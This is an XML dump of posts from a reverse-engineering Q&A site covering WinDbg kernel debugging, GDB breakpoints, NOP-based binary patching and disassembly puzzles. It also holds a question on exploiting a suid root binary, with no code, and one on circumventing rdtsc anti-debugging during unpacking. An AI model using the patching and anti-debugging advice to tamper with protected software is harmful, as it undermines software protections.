cr3&#xA;cr3=00185000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;checking for iexplore.exe process instance&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; !process 0 0 iexplore.exe&#xA;PROCESS 841f3c08  SessionId: 1  Cid: 059c    Peb: 7ffdf000  ParentCid: 0774&#xA;    DirBase: 096de000  ObjectTable: 92aed4d0  HandleCount: 419.&#xA;    Image: iexplore.exe&#xA;&#xA;PROCESS 841ce5d8  SessionId: 1  Cid: 0784    Peb: 7ffdf000  ParentCid: 059c&#xA;    DirBase: 0db73000  ObjectTable: 8b221ba0  HandleCount: 350.&#xA;    Image: iexplore.exe&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;command to see if iexplore module is available &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; lm m iexp*&#xA;Browse full module list&#xA;start    end        module name&#xA;&#xA;Unable to enumerate user-mode unloaded modules, Win32 error 0n30&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;no windbg is  not in the correct process context&lt;br&gt;&#xA;lets ask it to get into correct process context&lt;br&gt;&#xA;keep in mind this is a display and not the targets state&lt;br&gt;&#xA;see .cache (windbg refreshes the display from its cached&lt;br&gt;&#xA;data)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can notice module iexplore.exe is now available for inspection   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; .process /p /r 841ce5d8&#xA;Implicit process is now 841ce5d8&#xA;.cache forcedecodeuser done&#xA;Loading User Symbols&#xA;&#xA;kd&amp;gt; lm m iexp*&#xA;Browse full module list&#xA;start    end        module name&#xA;00af0000 00b96000   iexplore   (deferred)             &#xA;kd&amp;gt; x iexplore!wWinMain&#xA;00af12a3          iexplore!wWinMain (&amp;lt;no parameter info&amp;gt;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but the !pte for a virtual address in this&lt;br&gt;&#xA;cached process context space is invalid  because we are not in&lt;br&gt;&#xA;active process context ( register cr3 and DirBase dont match)&lt;br&gt;&#xA;to get into active process context windbg should&lt;br&gt;&#xA;be debugging the targets process invasively&lt;br&gt;&#xA;which is possible only if we do a .process /i     &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; !pte iexplore!wWinMain&#xA;                 VA 00af12a3&#xA;PDE at C0300008         PTE at C0002BC4&#xA;contains 00000000&#xA;not valid&#xA;&#xA;&#xA;kd&amp;gt; r cr3&#xA;cr3=00185000&#xA;&#xA;kd&amp;gt; ?? @$proc-&amp;gt;Pcb.DirectoryTableBase&#xA;unsigned long 0xdb73000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;lets ask windbg to invasively debug iexplore.exe and&lt;br&gt;&#xA;break when the process context is active   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; .process /i /p /r /P 841ce5d8&#xA;You need to continue execution (press 'g' &amp;lt;enter&amp;gt;) for the context&#xA;to be switched. When the debugger breaks in again, you will be in&#xA;the new process context.&#xA;kd&amp;gt; g&#xA;Break instruction exception - code 80000003 (first chance)&#xA;nt!RtlpBreakWithStatusInstruction:&#xA;8289dd00 cc              int     3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;now you can see both the register context and Dirbase matches&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; r cr3&#xA;cr3=0db73000&#xA;&#xA;kd&amp;gt; ?? @$proc-&amp;gt;Pcb.DirectoryTableBase&#xA;unsigned long 0xdb73000&#xA;&#xA;kd&amp;gt; !pte iexplore!wWinMain&#xA;                 VA 00af12a3&#xA;PDE at C0300008         PTE at C0002BC4&#xA;contains 0DD71867       contains 07B5F005&#xA;pfn dd71  ---DA--UWEV   pfn 7b5f  -------UREV&#xA;&#xA;pte enties are valid now &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you can further match va to physical page contents as below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; !pte iexplore!wWinMain&#xA;                 VA 00af12a3&#xA;PDE at C0300008         PTE at C0002BC4&#xA;contains 0DD71867       contains 07B5F005&#xA;pfn dd71  ---DA--UWEV   pfn 7b5f  -------UREV&#xA;&#xA;kd&amp;gt; db iexplore!wWinMain l 20&#xA;00af12a3  8b ff 55 8b ec 81 ec 30-01 00 00 a1 50 c0 af 00  ..U....0....P...&#xA;00af12b3  33 c5 89 45 fc 53 56 57-be 88 c5 af 00 56 e8 cb  3..E.SVW.....V..&#xA;&#xA;&#xA;kd&amp;gt; $$ from the !pte above we know pfn is at 7b5f &#xA;kd&amp;gt; $$ we can confirm if this is the right physical page with either &#xA;kd&amp;gt; $$ !vtop 0 va or simply adding the last 3 bytes of our va to the pfn &#xA;kd&amp;gt; $$and dump the physical page &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;dump of physical address contents &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; !db 7b5f2a3 l20&#xA;# 7b5f2a3 8b ff 55 8b ec 81 ec 30-01 00 00 a1 50 c0 af 00 ..U....0....P...&#xA;# 7b5f2b3 33 c5 89 45 fc 53 56 57-be 88 c5 af 00 56 e8 cb 3..E.SVW.....V..&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;as seen virtual address content and physical page contents match&lt;br&gt;&#xA;but lets look for a string that might be unique and reconfirm&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; s -a iexplore!wWinMain L?100000 &quot;Internet Explorer_Server&quot;&#xA;00bb7df8  49 6e 74 65 72 6e 65 74-20 45 78 70 6c 6f 72 65  Internet Explore&#xA;kd&amp;gt; da /c 100 bb7df8&#xA;00bb7df8  &quot;Internet Explorer_Server&quot;&#xA;&#xA;kd&amp;gt; !pte bb7df8&#xA;                 VA 00bb7df8&#xA;PDE at C0300008         PTE at C0002EDC&#xA;contains 0DD71867       contains 0D7B1025&#xA;pfn dd71  ---DA--UWEV   pfn d7b1  ----A--UREV&#xA;&#xA;kd&amp;gt; !db d7b1df8 l 20&#xA;# d7b1df8 49 6e 74 65 72 6e 65 74-20 45 78 70 6c 6f 72 65 Internet Explore&#xA;# d7b1e08 72 5f 53 65 72 76 65 72-00 00 00 00 00 00 00 00 r_Server........&#xA;&#xA;kd&amp;gt; !vtop 0 bb7df8&#xA;X86VtoP: Virt 0000000000bb7df8, pagedir 000000000db73000&#xA;X86VtoP: PDE 000000000db73008 - 0dd71867&#xA;X86VtoP: PTE 000000000dd71edc - 0d7b1025&#xA;X86VtoP: Mapped phys 000000000d7b1df8&#xA;Virtual address bb7df8 translates to physical address d7b1df8.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2018-03-01T04:41:20.947" LastActivityDate="2018-03-01T04:41:20.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17565" PostTypeId="2" ParentId="16374" CreationDate="2018-03-01T04:20:42.347" Score="1" Body="&lt;p&gt;What you have listed in your question isn't going to tell you what mode a process is executing in, and there's a couple things wrong with the thought process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/-pte&quot; rel=&quot;nofollow noreferrer&quot;&gt;help docs&lt;/a&gt; for &lt;code&gt;!pte&lt;/code&gt; specify that the command takes a Virtual Address and displays PTE and PDE information about that address. The output of this command is kind of unintuitive because in actuality the PTE/PDE entries are physical addresses but Windows also maps them to kernel Virtual Kernel addresses as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your output specifically the virtual address that you're analyzing  is &lt;code&gt;VA fffff6fd4000d000&lt;/code&gt;. What the output is showing is that the PXE entry for this Virtual Address is at the &lt;strong&gt;physical&lt;/strong&gt; address 4000000 (this is given by the &lt;code&gt;pfn&lt;/code&gt; entry and the lower portion is masked off for flags and etc), and is mapped at the &lt;strong&gt;virtual&lt;/strong&gt; address &lt;code&gt;FFFFF6FB7DBEDFA8&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So then the next part is why does the output show that the pages are kernel mode. Based on what you're doing the address you got from !address is &lt;code&gt;fffffa8001a3db30&lt;/code&gt;. Without going into too much detail about the internals of the kernel this address is the virtual address for an &lt;code&gt;EPROCESS&lt;/code&gt; object which is a kernel data structure used to manage processes on the system. Additionally, every object the kernel allocates has a header prepended to it that the system uses for reference counting and and some other management functionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see this header structure in windbg using the dt command: &lt;code&gt;dt _OBJECT_HEADER&lt;/code&gt; and on x64 you'll notice that this structure is 0x30 bytes big. So the address of the actual EPROCESS is &lt;code&gt;fffffa8001a3db30&lt;/code&gt; but the base of the allocation includes the header which is &lt;code&gt;fffffa8001a3db00&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically what you're doing when you run that &lt;code&gt;!pte&lt;/code&gt; command is analyzing the page table entries for the kernel &lt;strong&gt;EPROCESS object&lt;/strong&gt; but as I said in the last paragraph this is only a structure that the kernel allocates and uses to manage resources for the system, so this address is &lt;strong&gt;always&lt;/strong&gt; going to be a kernel mode address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do what you actually want to do you want to use the following commands:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;.process /p /r &amp;lt;iexplore.exe address from !process&amp;gt;&lt;/code&gt; - this puts you&#xA;in the process context of internet explorer, which basically means&#xA;all the usermode stuff (virtual memory and handles) that windbg&#xA;accesses are valid for that process &lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;!dml_proc &amp;lt;iexplorer address&#xA;from !process&amp;gt;&lt;/code&gt; or &lt;code&gt;!process &amp;lt;iexploer address from !process&lt;/code&gt; - this&#xA;gives you information about the threads that are running in that&#xA;process  &lt;/li&gt;&#xA;&lt;li&gt;From there if you use !dml_proc you can click the links to&#xA;get thread stacks, or !process will just dump all threads out for you&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now, if you follow the above you'll get the stack trace for each thread. From there you can see where it's executing based on what module it's in. In particular, if you see &lt;code&gt;nt!KiSystemServiceCopyEnd&lt;/code&gt; on the callstack that means that the thread has transitioned into kernel mode and is doing something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However that being said I'm still not sure what you want to achieve since as one of the comments on your post mentions all threads are going to transition to kernel mode all the time anyway because basically everything that happens on your system happens in kernel mode.&lt;/p&gt;&#xA;" OwnerUserId="1306" LastActivityDate="2018-03-01T04:20:42.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17566" PostTypeId="1" AcceptedAnswerId="17568" CreationDate="2018-03-01T08:45:44.870" Score="-2" ViewCount="256" Body="&lt;p&gt;I read an article on x64dbg blog(&lt;a href=&quot;https://x64dbg.com/blog/2016/07/09/introducing-contemporary-reverse-engineering-technique-to-real-world-use.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://x64dbg.com/blog/2016/07/09/introducing-contemporary-reverse-engineering-technique-to-real-world-use.html&lt;/a&gt;) which mentions modern techniques of reverse engineering e.g., trace record, back tracing, Parallel debugging.&#xA;What else modern techniques of reverse engineering you can tell?&#xA;Is there any place I can learn all about it?(I don't expect too much on this)&#xA;I'm learning reverse only on windows now, If I learn reverse engineering on Linux too will I learn more techniques?&lt;br&gt;&#xA;Edit:&lt;br&gt;&#xA;More specific, What debug feature you think is useful but windbg don't have?&lt;/p&gt;&#xA;" OwnerUserId="21465" LastEditorUserId="21465" LastEditDate="2018-03-02T07:54:28.927" LastActivityDate="2018-03-02T07:54:28.927" Title="What are modern techniques of reverse engineering?" Tags="|debugging|x64dbg|" AnswerCount="1" CommentCount="1" ClosedDate="2018-03-02T02:48:51.430" ContentLicense="CC BY-SA 3.0" />
  <row Id="17567" PostTypeId="2" ParentId="17548" CreationDate="2018-03-01T08:59:27.927" Score="0" Body="&lt;p&gt;OK, my bad... I was actually using IDA 6.8, and the API for this version does not create iterable Objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using IDA 7 solved the problem.&lt;/p&gt;&#xA;" OwnerUserId="23424" LastActivityDate="2018-03-01T08:59:27.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17568" PostTypeId="2" ParentId="17566" CreationDate="2018-03-01T09:26:42.100" Score="1" Body="&lt;p&gt;If you're starting to study a new field you don't know much about, it is better to read some surveys which helps you to find recent work about the topic and presents some of the theoretical concepts used widely in that area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For your second question, most modern operating systems support similar software technologies for user-mode programs. It may be easier or harder to do some procedure in different systems but, most of the time you can do the same thing in other even if it is not equal semantically.&lt;/p&gt;&#xA;" OwnerUserId="18804" LastActivityDate="2018-03-01T09:26:42.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17569" PostTypeId="2" ParentId="16875" CreationDate="2018-03-01T17:02:28.573" Score="1" Body="&lt;p&gt;Probably you could use &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/1648.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;&quot;Page breakpoints&quot;&lt;/a&gt; for the area where it writes if your target runs in Windows and, then, editing the breakpoint (right click with the mouse over the line with the breakpoint, then click on &quot;Edit Breakpoint&quot;) you can specify if you want it to be traced (Edit Breakpoint and check &quot;Trace&quot;) or if you want the process to stop (Edit Breakpoint and check &quot;Break&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: It will be slow, though.&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2018-03-01T17:02:28.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17571" PostTypeId="1" CreationDate="2018-03-01T19:07:42.060" Score="2" ViewCount="1613" Body="&lt;p&gt;I'm trying to use a gdb client running on my host machine to talk to a GDB server running on a debug probe.  I can connect using the &quot;target remote&quot; command, and I can single step, use monitor commands to restart, etc.  I can not set breakpoints though, because GDB insists there is nothing loaded at the address I specify because I have no executable and no symbol table.  It replies:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;No symbol table is loaded.  Use the &quot;file&quot; command.&#xA;  Make hw breakpoint pending on future shared library load? (y or [n])&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I tried providing it the raw binary firmware image, but that didn't work, and besides, I'd like to set hardware breakpoints, and set them anywhere I darn well please, including RAM where things are loaded during initialization, and I'm not about to create an ELF file just to get GDB to get out of the way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to make GDB ignore its symbol table and just set hardware breakpoints?&lt;/p&gt;&#xA;" OwnerUserId="19009" LastActivityDate="2018-03-01T21:59:18.247" Title="How to set breakpoints in GDB on remote target without an executable?" Tags="|gdb|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17573" PostTypeId="2" ParentId="17571" CreationDate="2018-03-01T19:42:24.297" Score="2" Body="&lt;p&gt;&lt;em&gt;facepalm&lt;/em&gt;&#xA;You need to use a * to specify an address to breakpoint at.  I guess &lt;code&gt;gdb&lt;/code&gt; was taking my string &lt;code&gt;0x1010b190&lt;/code&gt; and treating it like a symbol.  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;hb 0x1010b190&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That's when I get :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;No symbol table is loaded. Use the &quot;file&quot; command.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;Make hw breakpoint pending on future shared library load? (y or [n])&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But if I do&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;hb *0x1010b190&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;it works.&lt;/p&gt;&#xA;" OwnerUserId="19009" LastEditorUserId="18317" LastEditDate="2018-03-01T21:59:18.247" LastActivityDate="2018-03-01T21:59:18.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17574" PostTypeId="1" CreationDate="2018-03-01T21:56:26.423" Score="1" ViewCount="526" Body="&lt;p&gt;How can I change (add/edit/remove) assembly instruction from binary file without damage?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that at binary function save on specific offset/address, so if I change something I will damage all another function.&lt;/p&gt;&#xA;" OwnerUserId="23460" LastEditorUserId="18014" LastEditDate="2018-03-02T09:36:19.917" LastActivityDate="2020-01-02T02:14:23.987" Title="Change binary without damage" Tags="|patch-reversing|binary-editing|" AnswerCount="1" CommentCount="0" ClosedDate="2018-03-02T10:58:01.230" ContentLicense="CC BY-SA 3.0" />
  <row Id="17575" PostTypeId="2" ParentId="17574" CreationDate="2018-03-01T22:41:27.927" Score="6" Body="&lt;p&gt;If I'm understanding your question correctly, then what you need to do is be mindful of your bytes when patching. Ideally, your patch will be less than (in which case you can use NOPs [byte 0x90] in place of unneeded bytes) or equal to the number of bytes of an instruction or group of instructions that you'd like to patch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take this instruction, for example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;application.exe+2F40 - &lt;strong&gt;48 89 44 24 38&lt;/strong&gt; - &lt;em&gt;mov [rsp+38],rax&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, you have 5 bytes to work with: &lt;em&gt;48 89 44 24 38&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How you patch those 5 bytes is up to you, whether it's writing a new instruction that uses up to 5 bytes, or NOP-ing all 5 bytes, etc. If you want that instruction to do something that takes up more than 5 bytes, then you have to look at the instructions surrounding that instruction and see if you can essentially give yourself more bytes to work with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;application.exe+2F39 - &lt;strong&gt;48 8B 05 B82C0100&lt;/strong&gt; - &lt;em&gt;mov rax,[application.exe+15BF8]&lt;/em&gt;&lt;br&gt;&#xA;application.exe+2F40 - &lt;strong&gt;48 89 44 24 38&lt;/strong&gt; - &lt;em&gt;mov [rsp+38],rax&lt;/em&gt;&lt;br&gt;&#xA;application.exe+2F45 - &lt;strong&gt;48 83 F8 FF&lt;/strong&gt; - &lt;em&gt;cmp rax,-01&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now maybe you could come up with a way to use all those bytes (16 in total in that example) and still maintain the integrity of the surrounding data/instructions. Maybe you want to just get rid of the first instruction. So patching it could end up looking like this (notice how the offsets change to reference each byte):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;application.exe+2F39 - 90 - nop&#xA;application.exe+2F3A - 90 - nop&#xA;application.exe+2F3B - 90 - nop&#xA;application.exe+2F3C - 90 - nop&#xA;application.exe+2F3D - 90 - nop&#xA;application.exe+2F3E - 90 - nop&#xA;application.exe+2F3F - 90 - nop&#xA;application.exe+2F40 - 48 89 44 24 38 - mov [rsp+38],rax &#xA;application.exe+2F45 - 48 83 F8 FF - cmp rax,-01&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's ultimately up to you to figure out what the function you're patching is doing at any given instruction of its subroutine(s). Just make sure you keep your bytes balanced and that your instructions are doing what you expect them to do, and you should be all set.&lt;/p&gt;&#xA;" OwnerUserId="20928" LastEditorUserId="20928" LastEditDate="2020-01-02T02:14:23.987" LastActivityDate="2020-01-02T02:14:23.987" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17576" PostTypeId="1" AcceptedAnswerId="17733" CreationDate="2018-03-02T11:37:54.327" Score="1" ViewCount="4062" Body="&lt;p&gt;I have to exploit an application and I have only the 32-bit ELF excecutable, which is also stripped. Its a suid root application and when it is executed practically run the &lt;code&gt;ls -al&lt;/code&gt; command for a specific directory that normally is inaccessible for normal users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice about how to handle this problem?&lt;/p&gt;&#xA;" OwnerUserId="23466" LastEditorUserId="23466" LastEditDate="2018-05-07T20:38:12.643" LastActivityDate="2018-05-07T20:38:12.643" Title="How to exploit an suid root application" Tags="|elf|exploit|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="17577" PostTypeId="1" AcceptedAnswerId="17580" CreationDate="2018-03-02T13:05:16.610" Score="0" ViewCount="95" Body="&lt;p&gt;I'm practicing windows disassembly on x64 notepad.exe&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've managed to find buffer allocation and string resources load.&#xA;But after that follows code, which I can't fully understand:&lt;br&gt;&#xA;rbx = 0, rdx = 0 before this part&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            mov     r9, cs:str_res_guid_18 ;  dq 12h&#xA;            lea     rcx, some_data         ;  some address&#xA;            mov     edx, 28h&#xA;            sub     r9, rcx        &#xA;            mov     r8, rdx&#xA;&#xA;loc_100003150: &#xA;            lea     rax, [r8+7FFFFFD6h]    ; what is this number?&#xA;            cmp     rax, rbp&#xA;            jz      short loc_100003173&#xA;            movzx   eax, word ptr [rcx+r9] ; str_res_guid_18&#xA;            cmp     ax, bp&#xA;            jz      short loc_100003173&#xA;            mov     [rcx], ax&#xA;            add     rcx, 2&#xA;            sub     r8, 1&#xA;            jnz     short loc_100003150&#xA;&#xA;loc_100003173: &#xA;            cmp     r8, rbp&#xA;            jz      loc_1000058A0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What does 7FFFFFD6h stands for? And why is it compared against null?&lt;/p&gt;&#xA;" OwnerUserId="23468" LastActivityDate="2018-03-02T19:54:36.283" Title="Magic number in resource loading routine" Tags="|windows|x86-64|winapi|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17578" PostTypeId="1" AcceptedAnswerId="17581" CreationDate="2018-03-02T14:20:06.090" Score="-1" ViewCount="885" Body="&lt;p&gt;Frameworks like &lt;a href=&quot;https://github.com/trailofbits/mcsema&quot; rel=&quot;nofollow noreferrer&quot;&gt;mcsema&lt;/a&gt; is used to convert an executable file into LLVM bitcode which can be further used to perform program analysis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to convert an object file in the similar way?&lt;/p&gt;&#xA;" OwnerUserId="15181" LastActivityDate="2018-03-02T22:56:32.443" Title="Converting object file to LLVM bitcode" Tags="|binary-analysis|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17579" PostTypeId="2" ParentId="17577" CreationDate="2018-03-02T14:45:23.417" Score="0" Body="&lt;p&gt;ignore the first part: 7FF..FF is a sequence of 1's&#xA;The interesting part is the D6 which equals 1101 0110, or 214 in decimal.&#xA;So it check's whether a couple of bytes after the addrress in R8 is a Zero&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, have a look at section OPERATING SYSTEMS here:&#xA;&lt;a href=&quot;https://software.intel.com/en-us/articles/introduction-to-x64-assembly&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://software.intel.com/en-us/articles/introduction-to-x64-assembly&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="23472" LastActivityDate="2018-03-02T14:45:23.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17580" PostTypeId="2" ParentId="17577" CreationDate="2018-03-02T19:54:36.283" Score="1" Body="&lt;p&gt;This seems to be an optimized wchar_t string copy. The compiler took advantage of the fact that there is a fixed offset between source and destination. Ignoring the  lea  check, the assembly could be represented by this pseudocode:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wchar_t *dst = &amp;amp;some_data; //rcx&#xA;wchar_t *src = ?; //r9&#xA;delta = src-dst; //r9 =r9-dst&#xA;maxc = 0x28; //r8&#xA;&#xA;loop:&#xA; wchar_t ch = dst[delta]; (dst+(src-dst) = src, so ch=src[i];)&#xA; if ( ch==0 ) break;&#xA; *dst = ch;&#xA; dst++;&#xA; maxc--;&#xA; if ( maxc!=0 ) goto loop;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now let's look at the mysterious &lt;code&gt;lea&lt;/code&gt;. First thing you need to remember that it's basically just a fancy &lt;code&gt;mov&lt;/code&gt;, and the operands are not necessarily addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so let's take &lt;code&gt;lea     rax, [r8+7FFFFFD6h]&lt;/code&gt; and do some math:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rax = r8+0x7FFFFFD6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;multiply both sides by 2:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2*rax = 2*r8+0xFFFFFFAC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;treat number as signed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2*rax = 2*r8-0x54&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;now divide:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rax = r8 - 0x2a&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so testing rax==0 is the same as r8==0x2a. Possibly the code is checking that number of characters to copy is not greater than the buffer size. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-03-02T19:54:36.283" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17581" PostTypeId="2" ParentId="17578" CreationDate="2018-03-02T22:56:32.443" Score="1" Body="&lt;p&gt;Certainly, there are at least two ways I can think of:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Add support for object file parsing to McSema&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Link the object file into a dummy executable and parse that. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You could also write your own lifter to llvm IR that works on object files :)&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-03-02T22:56:32.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17584" PostTypeId="1" AcceptedAnswerId="17596" CreationDate="2018-01-26T06:21:52.430" Score="1" ViewCount="300" Body="&lt;p&gt;I'm trying to Patch a 32bit ELF file with Hopper disassembler&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ASM code I use is like the following&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov dword ptr [eax], 15&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when I enter that expression, Hopper consider it as invalid? It works perfectly in IDA and I'm not sure why&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/s2AES.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/s2AES.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="5878" OwnerDisplayName="daisy" LastActivityDate="2018-03-04T15:54:13.420" Title="mov dword ptr[eax], 1 is invalid in Hopper Disassembler?" Tags="|hopper|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17586" PostTypeId="1" AcceptedAnswerId="17589" CreationDate="2018-03-03T11:43:36.580" Score="0" ViewCount="961" Body="&lt;p&gt;I using x86dbg and am working on unpacking a target. The unpacking stub appears to be using some anti-debugging techniques - most of which I can detour with a plugin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, there are a lot of occurrences of rdtsc in the code. The code is being generated / unpacked throughout execution so I cannot simply search for all instances of the instruction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried running a trace with a condition to break when rdtsc is found but it is simply way to slow and tedious; especially since rdtsc is sometimes used in loops and it isn't as simple as just noping them out since a comparison takes place much later in the stub (it is also hard to identify where due to the excessive junk code.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="23370" LastActivityDate="2018-03-04T07:25:49.413" Title="How can I circumvent rdtsc when used as an anti-debugger technique?" Tags="|x86|unpacking|dynamic-analysis|anti-debugging|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
